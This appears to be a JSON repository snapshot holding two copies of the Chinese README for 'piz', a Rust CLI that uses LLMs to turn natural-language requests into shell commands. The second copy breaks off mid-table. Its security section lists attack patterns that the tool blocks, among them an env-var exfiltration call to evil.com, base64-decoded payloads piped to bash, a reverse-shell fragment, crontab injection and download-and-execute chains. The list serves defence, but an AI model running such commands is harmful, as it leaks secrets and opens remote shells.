1 line
598 KiB
JSON
1 line
598 KiB
JSON
{"repo": "ariesoxo/piz", "files": {"README.md": {"9f6d61b742783293d95b348ac1408254df447b0e": {"t": 1785674038.4922187, "n": 13084, "h": "90670ac899a45eb0", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>智能终端命令助手</strong><br>\n 用自然语言描述,自动生成 Shell 命令\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README_EN.md\">English</a> |\n <a href=\"./README.md\">简体中文</a>\n</p>\n\n---\n\n<p align=\"center\">\n <img src=\"assets/demo.gif\" alt=\"piz demo\" width=\"800\">\n</p>\n\n## piz 是什么?\n\n**piz** 解决一个问题:你知道想做什么,但记不住具体命令。用自然语言描述你的需求,piz 自动翻译成适合当前系统和 Shell 的命令。\n\n```\n$ piz 查看磁盘使用情况\n ➜ df -h\n [Y] 执行 [n] 取消 [e] 编辑 [r] 重新生成\n```\n\n## 核心功能\n\n- **自然语言转命令** — 描述需求,得到精确命令\n- **多 LLM 后端** — 支持 OpenAI、Claude、Gemini、Ollama + 12 个 OpenAI 兼容供应商(DeepSeek、硅基流动、OpenRouter、Moonshot、智谱GLM、百度千帆、阿里DashScope、Mistral、Together、Minimax、字节BytePlus 等)\n- **安全加固** — 三层防护:Prompt 层拒绝非命令输入、注入检测(base64 载荷、环境变量泄露、反弹 Shell、curl 配置攻击)、正则危险分级\n- **危险命令检测** — 正则 + LLM 双重防护,危险命令强制二次确认,无法跳过\n- **命令解释** — `piz -e 'command'` 逐项拆解命令含义\n- **命令纠错** — `piz fix` 自动诊断并修复失败命令,支持自动重试(最多 3 次)\n- **交互式对话** — `piz chat` 多轮对话模式,支持 `/help`、`/clear`、`/history` 命令和历史持久化\n- **多候选命令** — `-n` 参数生成多个命令方案,自主选择最优方案\n- **重新生成** — 对结果不满意?按 `[r]` 跳过缓存重新请求 LLM,无需手动清缓存\n- **本地缓存** — SQLite 缓存 + TTL 过期 + LRU 淘汰 + 模型隔离(切换模型自动失效旧缓存),重复查询秒返回\n- **命令校验** — 自动清洗 LLM 输出的前导垃圾字符,拦截空命令和 no-op,提升中小模型兼容性\n- **执行历史** — `piz history` 查看和搜索所有执行过的命令\n- **Shell 集成** — `piz init <shell>` 生成 Shell 包装函数,使 `cd`/`export`/`source` 在当前 Shell 中正确生效(bash、zsh、fish、PowerShell),内置便捷别名(`p`、`pf`、`pc`)\n- **Eval 模式** — `--eval` 将确认后的命令输出给 Shell 包装函数执行\n- **Shell 补全** — 支持 bash、zsh、fish、PowerShell 自动补全\n- **管道模式** — `--pipe` 纯命令输出,便于脚本集成\n- **多语言界面** — 中文、英文,安全提示信息全面国际化\n- **跨平台** — Windows (PowerShell/cmd)、macOS、Linux (bash/zsh/fish),零侵入编码处理(不修改 `chcp`/`OutputEncoding`)\n- **交互式配置** — 首次运行自动引导,内置供应商预设,无需手动编辑配置\n- **NO_COLOR 支持** — 尊重 `NO_COLOR` 环境变量\n- **API 容错** — 429/5xx 错误自动重试 + 指数退避\n\n## 快速开始\n\n### 安装\n\n**Homebrew(macOS / Linux):**\n\n```bash\nbrew install AriesOxO/tap/piz\n```\n\n**macOS / Linux(一键安装):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows(PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo(全平台):**\n\n```bash\ncargo install piz\n```\n\n**手动下载:**\n\n前往 [Releases](https://github.com/AriesOxO/piz/releases) 下载二进制文件、`.msi`(Windows)或 `.deb`(Debian/Ubuntu)。\n\n| 平台 | 下载格式 |\n|------|---------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 | `.tar.gz` `.deb` |\n| Linux ARM64 | `.tar.gz` |\n\n### 配置\n\n首次运行任何命令,会自动进入交互式配置向导:\n\n```\n$ piz 列出文件\n\n ⚙ piz 配置向导\n\n? 选择语言 / Select language:中文\n? 选择默认 LLM 后端:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (本地)\n? 选择 API 供应商:\n OpenAI / DeepSeek / 硅基流动 / OpenRouter / Moonshot\n 智谱GLM / 百度千帆 / 阿里DashScope / Mistral / Together\n Minimax / 字节BytePlus / 自定义URL\n? API 地址:https://api.siliconflow.cn\n? API 密钥:sk-xxxxx\n? 模型名称:Qwen/Qwen3-8B\n? 安全命令是否自动执行(不弹出确认)?是\n\n ✔ 配置已保存\n```\n\n也可以手动运行:`piz config --init`\n\n## 使用示例\n\n### 自然语言转命令\n\n```bash\npiz 查看磁盘使用情况 # → df -h\npiz 找出所有大于100M的文件 # → find . -size +100M -type f\npiz 压缩src目录 # → tar -czf src.tar.gz src/\npiz 查看3000端口被谁占用 # → lsof -i :3000\npiz 统计当前目录代码行数 # → find . -name \"*.rs\" | xargs wc -l\n```\n\n### 多候选模式\n\n```bash\n$ piz -n 3 查找大文件\n? 选择要执行的命令:\n> 1. find . -size +100M -type f — 查找大于 100MB 的文件\n 2. du -ah . | sort -rh | head -20 — 显示最大的 20 个文件/目录\n 3. ls -lhRS | head -30 — 按大小降序列出文件\n```\n\n### 命令解释\n\n```bash\n$ piz -e 'awk \"{print \\$2}\" access.log | sort | uniq -c | sort -rn | head -10'\n📖 命令解释:\n\n awk \"{print $2}\" — 提取每行第2个字段(通常是URL或IP)\n access.log — 输入文件\n sort — 排序(为 uniq 做准备)\n uniq -c — 去重并统计出现次数\n sort -rn — 按数字降序排列\n head -10 — 取前10条结果\n```\n\n### 命令纠错\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 诊断:权限不足,无法写入 node_modules\n - npm install\n + sudo npm install\n```\n\n修复命令支持自动重试:如果修复后的命令仍然失败,piz 会继续分析错误并尝试修复,最多 3 轮。\n\n### 交互式对话模式\n\n```bash\n$ piz chat\n💬 交互模式\n输入你的请求,或 'exit'/'quit' 退出。\n\n> 列出所有运行中的 docker 容器\n ➜ docker ps\n [Y] 执行 [n] 取消 [e] 编辑\n\n> 只显示名称\n ➜ docker ps --format '{{.Names}}'\n```\n\n对话模式支持特殊命令:\n- `/help` — 显示可用命令\n- `/clear` — 清除对话历史\n- `/history` — 查看对话历史\n- `/detail` — 切换内联命令解释开关\n\n### 执行历史\n\n```bash\n$ piz history # 查看最近 20 条执行记录\n$ piz history docker -l 10 # 搜索含 \"docker\" 的最近 10 条记录\n```\n\n### Shell 补全\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Shell 集成\n\nShell 集成可以让 `cd`、`export`、`source` 等命令在当前 Shell 会话中正确生效。运行 `piz init <shell>` 并将输出添加到你的 Shell 配置文件中:\n\n**Bash / Zsh:**\n\n```bash\n# 添加到 ~/.bashrc 或 ~/.zshrc:\neval \"$(piz init bash)\" # 或:eval \"$(piz init zsh)\"\n```\n\n**Fish:**\n\n```fish\n# 添加到 ~/.config/fish/config.fish:\npiz init fish | source\n```\n\n**PowerShell:**\n\n```powershell\n# 添加到 $PROFILE:\npiz init powershell | Out-String | Invoke-Expression\n```\n\n配置完成后,piz 会自动使用 `--eval` 模式,`cd`、`export`、`source` 等命令将在当前 Shell 中正确生效。\n\nShell 集成还提供了内置便捷别名:\n\n| 别名 | 命令 | 说明 |\n|------|------|------|\n| `p` | `piz` | piz 短别名 |\n| `pf` | `piz fix` | 快速修复上一条失败命令 |\n| `pc` | `piz chat` | 快速进入对话模式 |\n\n```bash\np 列出所有 rust 文件 # 等同于:piz 列出所有 rust 文件\npf # 等同于:piz fix\npc # 等同于:piz chat\n```\n\n### 管道模式\n\n```bash\n# 仅输出命令,无 UI —— 适合脚本集成\npiz --pipe 查看所有 rust 文件 # → find . -name \"*.rs\"\neval $(echo \"列出文件\" | piz --pipe) # 直接执行\n```\n\n### 配置管理\n\n```bash\npiz config --init # 运行配置向导\npiz config --show # 查看当前配置(API 密钥自动脱敏)\npiz config --reset # 删除配置文件,重新开始\n```\n\n### 其他用法\n\n```bash\npiz --backend ollama 查看内存 # 临时切换后端\npiz --backend gemini 查看CPU # 使用 Google Gemini\npiz --no-cache 查看系统信息 # 跳过缓存\npiz --verbose 列出文件 # 调试:显示 Prompt 和 LLM 响应\npiz -n 3 列出文件 # 生成 3 个候选命令\npiz clear-cache # 清空缓存\npiz --eval 列出文件 # Eval 模式(用于 Shell 集成)\npiz --version # 查看版本\n```\n\n## 更新\n\n### 自更新\n\n```bash\npiz update # 交互式:检查最新版本并升级\n```\n\n`piz update` 检查 GitHub Releases 获取最新版本。如果有新版本,可选择两种升级方式:\n\n1. **覆盖安装** — 直接替换当前二进制文件\n2. **卸载后重装** — 先删除旧版本,再安装新版本\n\n两种方式均支持失败自动回滚。\n\n### 自动更新检查\n\npiz 在每次运行后**自动在后台检查更新**(每 24 小时最多一次,5 秒超时,绝不会阻塞)。检测到新版本时会显示提示:\n\n```\nℹ piz 0.3.0 is available (current: 0.2.5). Run `piz update` to upgrade.\n```\n\n无需任何配置即可使用。检查状态存储在 `~/.piz/update_state.json`。\n\n### 手动安装(指定版本)\n\n如需安装特定版本,可直接从 [GitHub Releases](https://github.com/AriesOxO/piz/releases) 下载:\n\n```bash\n# Linux/macOS — 替换 VERSION 和 TARGET\ncurl -fsSL https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-TARGET.tar.gz | tar xz\nsudo mv piz /usr/local/bin/\n\n# Windows (PowerShell)\nInvoke-WebRequest -Uri \"https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-x86_64-pc-windows-msvc.zip\" -OutFile piz.zip\nExpand-Archive piz.zip -DestinationPath .\nMove-Item piz.exe \"$env:LOCALAPPDATA\\piz\\piz.exe\"\n```\n\n或通过安装脚本重新安装:\n\n```bash\n# Linux/macOS\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n\n# Windows (PowerShell)\nirm https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n## 支持的供应商\n\n### 原生后端\n\n| 后端 | 配置段 | 说明 |\n|------|--------|------|\n| **OpenAI** | `[openai]` | 同时支持任何 OpenAI 兼容 API(通过 `base_url`) |\n| **Claude** | `[claude]` | Anthropic Messages API,支持自定义 `base_url` |\n| **Gemini** | `[gemini]` | Google Generative AI 原生 API |\n| **Ollama** | `[ollama]` | 本地模型,无需 API key |\n\n### OpenAI 兼容供应商(通过 `[openai]` + 自定义 `base_url`)\n\n<details>\n<summary>点击展开全部 12 个供应商</summary>\n\n| 供应商 | base_url | 默认模型 |\n|--------|----------|---------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| 硅基流动 | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| 智谱/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| 百度千帆 | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| 阿里DashScope | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| 字节BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n</details>\n\n## 配置文件\n\n路径:`~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 48 # 缓存有效期(2天)\ncache_max_entries = 1000 # 最大缓存条目数(LRU 淘汰)\nauto_confirm_safe = true # 安全命令自动执行\nlanguage = \"zh\" # 界面语言:zh / en\nchat_history_size = 20 # 对话历史最大消息数\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### 常见供应商配置\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>硅基流动 (SiliconFlow)</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Google Gemini</summary>\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n</details>\n\n<details>\n<summary>OpenRouter</summary>\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n</details>\n\n<details>\n<summary>Moonshot / 月之暗面</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n<details>\n<summary>智谱 / GLM</summary>\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n</details>\n\n## 安全机制\n\npiz 实现了三层安全防护:\n\n### 1. Prompt 层拒绝\n非命令输入(问候、闲聊、Prompt 注入尝试)会被 LLM 拒绝并返回说明,不会生成可执行命令。\n\n### 2. 注入检测(本地正则,无需 LLM)\n命令在执行前会被扫描以下恶意模式:\n- 环境变量泄露(`curl evil.com/$API_KEY`)\n- 编码载荷(`echo ... | base64 -d | bash`)\n- 反弹 Shell(`python -e 'import socket...'`)\n- Shell 配置覆写(`> ~/.bashrc`)\n- 静默 Crontab 注入(`| crontab -`)\n- curl 配置文件攻击(`curl -K malicious.conf`)\n- 下载-执行链(`wget ... && chmod +x && ./`)\n- 危险的 find/xargs 模式(`find -delete`、`xargs rm`)\n\n命中以上模式的命令会被**直接拦截**,无法执行。注入提示信息已全面国际化(中/英)。\n\n缓存命中时也会重新验证注入检测 —— 中毒的缓存条目会被自动清除。\n\n### 3. 危险分级\n\n| 级别 | 行为 | 示例 |\n|------|------|------|\n| **安全** | 自动执行(如已配置) | `ls`、`df -h`、`git status` |\n| **警告** | 弹出确认 | `sudo apt install`、`chmod 755`、`git push` |\n| **危险** | 红色警告 + 强制二次确认(无法跳过) | `rm -rf /`、`mkfs`、`DROP TABLE` |\n\n## 项目结构\n\n```\npiz/\n├── src/\n│ ├── main.rs # 入口,CLI 分发,响应解析,多候选选择\n│ ├── cli.rs # clap 命令行参数定义(含 clap_complete)\n│ ├── config.rs # TOML 配置 + 交互式配置向导(12 个供应商预设)\n│ ├── context.rs # 系统上下文收集(OS、Shell、CWD、架构、Git、包管理器)\n│ ├── i18n.rs # 多语言翻译(中/英),含注入检测消息国际化\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + 工厂函数 + 重试/退避工具\n│ │ ├── prompt.rs # Prompt 模板(含安全规则、few-shot 示例、多候选支持)\n│ │ ├── openai.rs # OpenAI 兼容适配器(含重试)\n│ │ ├── claude.rs # Claude 适配器(含重试)\n│ │ ├── gemini.rs # Google Gemini 适配器(含重试)\n│ │ └── ollama.rs # Ollama 适配器(含重试)\n│ ├── cache.rs # SQLite 缓存(SHA256 key + TTL + LRU 淘汰)+ 执行历史\n│ ├── danger.rs # 正则危险检测 + 注入扫描(InjectionReason 枚举)\n│ ├── executor.rs # 用户确认交互 + 命令执行\n│ ├── explain.rs # 命令解释模式\n│ ├── fix.rs # 命令纠错模式 + 自动修复重试循环\n│ ├── chat.rs # 交互式对话模式(斜杠命令 + 历史持久化)\n│ ├── history.rs # Shell 历史记录读取\n│ ├── shell_init.rs # Shell 集成代码生成(bash/zsh/fish/PowerShell)+ 内置别名\n│ └── ui.rs # 终端输出格式化(Spinner、Diff、着色)\n├── tests/\n│ ├── integration.rs # 集成测试\n│ ├── llm_e2e.rs # LLM 端到端测试(需要 API key,默认跳过)\n│ └── windows_shells.rs # 跨 Shell 测试(cmd/PowerShell/bash)\n├── homebrew/\n│ └── piz.rb # Homebrew formula 模板(发版时自动渲染)\n├── install.sh # macOS/Linux 安装脚本\n└── install.ps1 # Windows 安装脚本\n```\n\n## 构建\n\n```bash\n# 前提:Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # 构建\ncargo test # 运行测试(437 个)\ncargo install --path . # 安装到 PATH\n```\n\n## 环境变量\n\n| 变量 | 说明 |\n|------|------|\n| `NO_COLOR` | 设置为任意值可禁用彩色输出 |\n\n## 参与贡献\n\n欢迎贡献!请阅读 [CONTRIBUTING.md](CONTRIBUTING.md) 了解贡献指南。\n\n## 许可证\n\n本项目基于 MIT 许可证开源,详见 [LICENSE](LICENSE)。\n\n## Star History\n\n[](https://star-history.com/#AriesOxO/piz&Date)\n"}, "b57cdaefb3d48cf1381a4fe385e35f4d1f9a83d6": {"t": 1785760762.3442361, "n": 13084, "h": "90670ac899a45eb0", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>智能终端命令助手</strong><br>\n 用自然语言描述,自动生成 Shell 命令\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README_EN.md\">English</a> |\n <a href=\"./README.md\">简体中文</a>\n</p>\n\n---\n\n<p align=\"center\">\n <img src=\"assets/demo.gif\" alt=\"piz demo\" width=\"800\">\n</p>\n\n## piz 是什么?\n\n**piz** 解决一个问题:你知道想做什么,但记不住具体命令。用自然语言描述你的需求,piz 自动翻译成适合当前系统和 Shell 的命令。\n\n```\n$ piz 查看磁盘使用情况\n ➜ df -h\n [Y] 执行 [n] 取消 [e] 编辑 [r] 重新生成\n```\n\n## 核心功能\n\n- **自然语言转命令** — 描述需求,得到精确命令\n- **多 LLM 后端** — 支持 OpenAI、Claude、Gemini、Ollama + 12 个 OpenAI 兼容供应商(DeepSeek、硅基流动、OpenRouter、Moonshot、智谱GLM、百度千帆、阿里DashScope、Mistral、Together、Minimax、字节BytePlus 等)\n- **安全加固** — 三层防护:Prompt 层拒绝非命令输入、注入检测(base64 载荷、环境变量泄露、反弹 Shell、curl 配置攻击)、正则危险分级\n- **危险命令检测** — 正则 + LLM 双重防护,危险命令强制二次确认,无法跳过\n- **命令解释** — `piz -e 'command'` 逐项拆解命令含义\n- **命令纠错** — `piz fix` 自动诊断并修复失败命令,支持自动重试(最多 3 次)\n- **交互式对话** — `piz chat` 多轮对话模式,支持 `/help`、`/clear`、`/history` 命令和历史持久化\n- **多候选命令** — `-n` 参数生成多个命令方案,自主选择最优方案\n- **重新生成** — 对结果不满意?按 `[r]` 跳过缓存重新请求 LLM,无需手动清缓存\n- **本地缓存** — SQLite 缓存 + TTL 过期 + LRU 淘汰 + 模型隔离(切换模型自动失效旧缓存),重复查询秒返回\n- **命令校验** — 自动清洗 LLM 输出的前导垃圾字符,拦截空命令和 no-op,提升中小模型兼容性\n- **执行历史** — `piz history` 查看和搜索所有执行过的命令\n- **Shell 集成** — `piz init <shell>` 生成 Shell 包装函数,使 `cd`/`export`/`source` 在当前 Shell 中正确生效(bash、zsh、fish、PowerShell),内置便捷别名(`p`、`pf`、`pc`)\n- **Eval 模式** — `--eval` 将确认后的命令输出给 Shell 包装函数执行\n- **Shell 补全** — 支持 bash、zsh、fish、PowerShell 自动补全\n- **管道模式** — `--pipe` 纯命令输出,便于脚本集成\n- **多语言界面** — 中文、英文,安全提示信息全面国际化\n- **跨平台** — Windows (PowerShell/cmd)、macOS、Linux (bash/zsh/fish),零侵入编码处理(不修改 `chcp`/`OutputEncoding`)\n- **交互式配置** — 首次运行自动引导,内置供应商预设,无需手动编辑配置\n- **NO_COLOR 支持** — 尊重 `NO_COLOR` 环境变量\n- **API 容错** — 429/5xx 错误自动重试 + 指数退避\n\n## 快速开始\n\n### 安装\n\n**Homebrew(macOS / Linux):**\n\n```bash\nbrew install AriesOxO/tap/piz\n```\n\n**macOS / Linux(一键安装):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows(PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo(全平台):**\n\n```bash\ncargo install piz\n```\n\n**手动下载:**\n\n前往 [Releases](https://github.com/AriesOxO/piz/releases) 下载二进制文件、`.msi`(Windows)或 `.deb`(Debian/Ubuntu)。\n\n| 平台 | 下载格式 |\n|------|---------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 | `.tar.gz` `.deb` |\n| Linux ARM64 | `.tar.gz` |\n\n### 配置\n\n首次运行任何命令,会自动进入交互式配置向导:\n\n```\n$ piz 列出文件\n\n ⚙ piz 配置向导\n\n? 选择语言 / Select language:中文\n? 选择默认 LLM 后端:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (本地)\n? 选择 API 供应商:\n OpenAI / DeepSeek / 硅基流动 / OpenRouter / Moonshot\n 智谱GLM / 百度千帆 / 阿里DashScope / Mistral / Together\n Minimax / 字节BytePlus / 自定义URL\n? API 地址:https://api.siliconflow.cn\n? API 密钥:sk-xxxxx\n? 模型名称:Qwen/Qwen3-8B\n? 安全命令是否自动执行(不弹出确认)?是\n\n ✔ 配置已保存\n```\n\n也可以手动运行:`piz config --init`\n\n## 使用示例\n\n### 自然语言转命令\n\n```bash\npiz 查看磁盘使用情况 # → df -h\npiz 找出所有大于100M的文件 # → find . -size +100M -type f\npiz 压缩src目录 # → tar -czf src.tar.gz src/\npiz 查看3000端口被谁占用 # → lsof -i :3000\npiz 统计当前目录代码行数 # → find . -name \"*.rs\" | xargs wc -l\n```\n\n### 多候选模式\n\n```bash\n$ piz -n 3 查找大文件\n? 选择要执行的命令:\n> 1. find . -size +100M -type f — 查找大于 100MB 的文件\n 2. du -ah . | sort -rh | head -20 — 显示最大的 20 个文件/目录\n 3. ls -lhRS | head -30 — 按大小降序列出文件\n```\n\n### 命令解释\n\n```bash\n$ piz -e 'awk \"{print \\$2}\" access.log | sort | uniq -c | sort -rn | head -10'\n📖 命令解释:\n\n awk \"{print $2}\" — 提取每行第2个字段(通常是URL或IP)\n access.log — 输入文件\n sort — 排序(为 uniq 做准备)\n uniq -c — 去重并统计出现次数\n sort -rn — 按数字降序排列\n head -10 — 取前10条结果\n```\n\n### 命令纠错\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 诊断:权限不足,无法写入 node_modules\n - npm install\n + sudo npm install\n```\n\n修复命令支持自动重试:如果修复后的命令仍然失败,piz 会继续分析错误并尝试修复,最多 3 轮。\n\n### 交互式对话模式\n\n```bash\n$ piz chat\n💬 交互模式\n输入你的请求,或 'exit'/'quit' 退出。\n\n> 列出所有运行中的 docker 容器\n ➜ docker ps\n [Y] 执行 [n] 取消 [e] 编辑\n\n> 只显示名称\n ➜ docker ps --format '{{.Names}}'\n```\n\n对话模式支持特殊命令:\n- `/help` — 显示可用命令\n- `/clear` — 清除对话历史\n- `/history` — 查看对话历史\n- `/detail` — 切换内联命令解释开关\n\n### 执行历史\n\n```bash\n$ piz history # 查看最近 20 条执行记录\n$ piz history docker -l 10 # 搜索含 \"docker\" 的最近 10 条记录\n```\n\n### Shell 补全\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Shell 集成\n\nShell 集成可以让 `cd`、`export`、`source` 等命令在当前 Shell 会话中正确生效。运行 `piz init <shell>` 并将输出添加到你的 Shell 配置文件中:\n\n**Bash / Zsh:**\n\n```bash\n# 添加到 ~/.bashrc 或 ~/.zshrc:\neval \"$(piz init bash)\" # 或:eval \"$(piz init zsh)\"\n```\n\n**Fish:**\n\n```fish\n# 添加到 ~/.config/fish/config.fish:\npiz init fish | source\n```\n\n**PowerShell:**\n\n```powershell\n# 添加到 $PROFILE:\npiz init powershell | Out-String | Invoke-Expression\n```\n\n配置完成后,piz 会自动使用 `--eval` 模式,`cd`、`export`、`source` 等命令将在当前 Shell 中正确生效。\n\nShell 集成还提供了内置便捷别名:\n\n| 别名 | 命令 | 说明 |\n|------|------|------|\n| `p` | `piz` | piz 短别名 |\n| `pf` | `piz fix` | 快速修复上一条失败命令 |\n| `pc` | `piz chat` | 快速进入对话模式 |\n\n```bash\np 列出所有 rust 文件 # 等同于:piz 列出所有 rust 文件\npf # 等同于:piz fix\npc # 等同于:piz chat\n```\n\n### 管道模式\n\n```bash\n# 仅输出命令,无 UI —— 适合脚本集成\npiz --pipe 查看所有 rust 文件 # → find . -name \"*.rs\"\neval $(echo \"列出文件\" | piz --pipe) # 直接执行\n```\n\n### 配置管理\n\n```bash\npiz config --init # 运行配置向导\npiz config --show # 查看当前配置(API 密钥自动脱敏)\npiz config --reset # 删除配置文件,重新开始\n```\n\n### 其他用法\n\n```bash\npiz --backend ollama 查看内存 # 临时切换后端\npiz --backend gemini 查看CPU # 使用 Google Gemini\npiz --no-cache 查看系统信息 # 跳过缓存\npiz --verbose 列出文件 # 调试:显示 Prompt 和 LLM 响应\npiz -n 3 列出文件 # 生成 3 个候选命令\npiz clear-cache # 清空缓存\npiz --eval 列出文件 # Eval 模式(用于 Shell 集成)\npiz --version # 查看版本\n```\n\n## 更新\n\n### 自更新\n\n```bash\npiz update # 交互式:检查最新版本并升级\n```\n\n`piz update` 检查 GitHub Releases 获取最新版本。如果有新版本,可选择两种升级方式:\n\n1. **覆盖安装** — 直接替换当前二进制文件\n2. **卸载后重装** — 先删除旧版本,再安装新版本\n\n两种方式均支持失败自动回滚。\n\n### 自动更新检查\n\npiz 在每次运行后**自动在后台检查更新**(每 24 小时最多一次,5 秒超时,绝不会阻塞)。检测到新版本时会显示提示:\n\n```\nℹ piz 0.3.0 is available (current: 0.2.5). Run `piz update` to upgrade.\n```\n\n无需任何配置即可使用。检查状态存储在 `~/.piz/update_state.json`。\n\n### 手动安装(指定版本)\n\n如需安装特定版本,可直接从 [GitHub Releases](https://github.com/AriesOxO/piz/releases) 下载:\n\n```bash\n# Linux/macOS — 替换 VERSION 和 TARGET\ncurl -fsSL https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-TARGET.tar.gz | tar xz\nsudo mv piz /usr/local/bin/\n\n# Windows (PowerShell)\nInvoke-WebRequest -Uri \"https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-x86_64-pc-windows-msvc.zip\" -OutFile piz.zip\nExpand-Archive piz.zip -DestinationPath .\nMove-Item piz.exe \"$env:LOCALAPPDATA\\piz\\piz.exe\"\n```\n\n或通过安装脚本重新安装:\n\n```bash\n# Linux/macOS\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n\n# Windows (PowerShell)\nirm https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n## 支持的供应商\n\n### 原生后端\n\n| 后端 | 配置段 | 说明 |\n|------|--------|------|\n| **OpenAI** | `[openai]` | 同时支持任何 OpenAI 兼容 API(通过 `base_url`) |\n| **Claude** | `[claude]` | Anthropic Messages API,支持自定义 `base_url` |\n| **Gemini** | `[gemini]` | Google Generative AI 原生 API |\n| **Ollama** | `[ollama]` | 本地模型,无需 API key |\n\n### OpenAI 兼容供应商(通过 `[openai]` + 自定义 `base_url`)\n\n<details>\n<summary>点击展开全部 12 个供应商</summary>\n\n| 供应商 | base_url | 默认模型 |\n|--------|----------|---------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| 硅基流动 | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| 智谱/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| 百度千帆 | 